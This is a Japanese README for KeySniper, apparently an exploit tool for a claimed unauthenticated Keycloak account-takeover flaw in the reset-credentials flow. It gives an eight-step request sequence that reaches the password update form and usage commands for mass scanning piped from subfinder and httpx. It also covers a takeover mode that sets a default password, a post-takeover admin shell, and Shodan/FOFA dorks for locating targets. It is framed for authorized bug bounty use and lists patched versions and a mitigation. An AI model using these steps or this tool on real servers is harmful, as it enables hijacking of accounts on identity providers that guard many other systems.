KeySniper

作者: Mitsec — x.com/ynsmroztas

CVE-2026-18963 — 認証不要のKeycloakアカウント乗っ取り（reset-credentialsフロー経由）

KeySniperは、スコープ内のバグバウンティおよび許可された評価を対象とした本番向けスキャナです。ライブレーダー出力、レルム検出、検出と乗っ取りの判別、対話型ATO後シェル、stdinパイプライン（subfinder → httpx → KeySniper）を備えています。

デフォルトモードは検出（--takeover 0）です。--takeover 1 はターゲット上のアカウントパスワードを変更します。

脆弱性

2つのバグが連鎖します:

1. tryAnotherWay は、実行IDにスコープされていない汎用の "true" セレクターノートを保存します。
2. ResetCredentialEmail.action() は、ACTION_TOKEN_USER_ID を検証せずに context.success() を呼び出します。

結果: 認証不要の呼び出し元が、既知のユーザー名に対してパスワードリセットフローを強制し、メールリンクをクリックせずに UPDATE_PASSWORD に到達できます。

確認シグナル

スキャンは「パスワード忘れが存在するか」ではありません。確認条件は以下です:

• 元のリセットURL上でセレクターフォームが再レンダリングされる
• execution= UUID が変化する（メール実行が漏洩）
• レスポンスに kc-passwd-update-form が含まれる

exec3 = 28e2cd30-…   (最初のセレクター)
exec6 = 8fd21174-…   (ピボットGET)
         UPDATE_PASSWORD

機能

• ライブ [radar] ログ（Location、JS、ヘッダー、レルムプローブ）
• レルム検出: 302 Location + HTML/JS + well-known + ワードリスト
• /auth プレフィックス自動検出
• パイプライン: httpx / subfinder からのstdin URL
• 誤検知フィルター: レルムブルートフォース前にKeycloakボディが必要
• --takeover 0 検出のみ
• --takeover 1 パスワード設定（デフォルト SelaM1337@@）
• --shell ATO後の対話型トークン / 管理APIヘルパー
• カラーバッジ: VULN / ATO 赤、SAFE 緑、SKIP 黄

インストール

python3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py

Python 3.9以上。

使用方法

# 検出（パスワード変更なし）
python3 KeySniper.py -u https://sso.example.com --takeover 0

# 乗っ取り + 対話型シェル
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell

# レルム / ユーザー指定
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0

# パイプライン
subfinder -d example.com -silent \
  | httpx -silent -mc 200,302,401 \
  | python3 KeySniper.py --takeover 0 -t 4

# リストファイル
python3 KeySniper.py -l urls.txt --takeover 0 -q

フラグ

パイプライン一括処理では --takeover 1 や --shell を渡さないでください。

フロー（8ステップ）

[1] GET  /realms/{realm}/protocol/openid-connect/auth?client_id=account
         → forgot-password href (reset-credentials)
[2] GET  reset-credentials
         → kc-reset-password-form
[3] POST tryAnotherWay=on
         → kc-select-credential-form
[4] POST username=<user>
[5] GET  startSessionPolling / restart (存在する場合)
[6] GET  元の reset-credentials URL  (ピボット)
         → セレクター再レンダリング + 新しい execution=
[7] POST 古いセレクター（アクショントークンなし）
         → kc-passwd-update-form
[8] POST password-new / password-confirm     (--takeover 1 の場合のみ)
         → HTTP 302 + code=  ⇒ ATO

出力

[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
    confirm exec3=...
    confirm exec6=...
    confirm kc-passwd-update-form

[ATO]  https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open patched
[SKIP] https://www.example.com not-keycloak

leak-no-update は VULNとしてカウントされません。

対話型シェル

単一ターゲットで [ATO] 後にのみ開きます:

[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit

リソースオーナーパスワードグラント（admin-cli、次に account）を使用します。
/admin/realms でHTTP 403が返る場合、Direct Access Grants / 管理者ロールが制限されていることを意味します — ATOは依然として有効です。

検出

1. /realms/master をプローブし、次に /auth/realms/master
2. Location、HTML、JS、"realm":、issuerからレルムを収集
3. Keycloakフィンガープリント後にのみワードリスト（約70名）
4. /realms/{name} が200 + Keycloakボディを返すレルムを保持

フィンガープリント / 偵察

/realms/master
/realms/master/.well-known/openid-configuration
/admin/

Shodan / FOFA（プログラムスコープ）:

http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"

title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"

誤検知

• / の200応答は、ボディに issuer / public_key / login-actions が含まれない限り無視
• パスワード忘れがない → SKIP（レルムでリセットが無効）
• kc-passwd-update-form なしのセレクター漏洩 → SKIP
• httpx のパスはオリジンに切り詰められる（/auth は保持）

影響を受けるバージョン

Keycloak < 26.7.2（26.6.x < 26.6.6、26.4.x < 26.4.15 も該当）。
緩和策: すべてのレルムでパスワード忘れを無効化し、その後アップグレードしてください。

このリポジトリのスクリーンショットは編集済みです（sso.lab.local プレースホルダー）。トークン、パスワード、メール、実際のホストは公開されていません。

作者

Mitsec
X: x.com/ynsmroztas

ライセンス

スコープ内の許可されたターゲットに対する研究目的の使用。スコープ外のホストでは --takeover 1 をオフにしてください。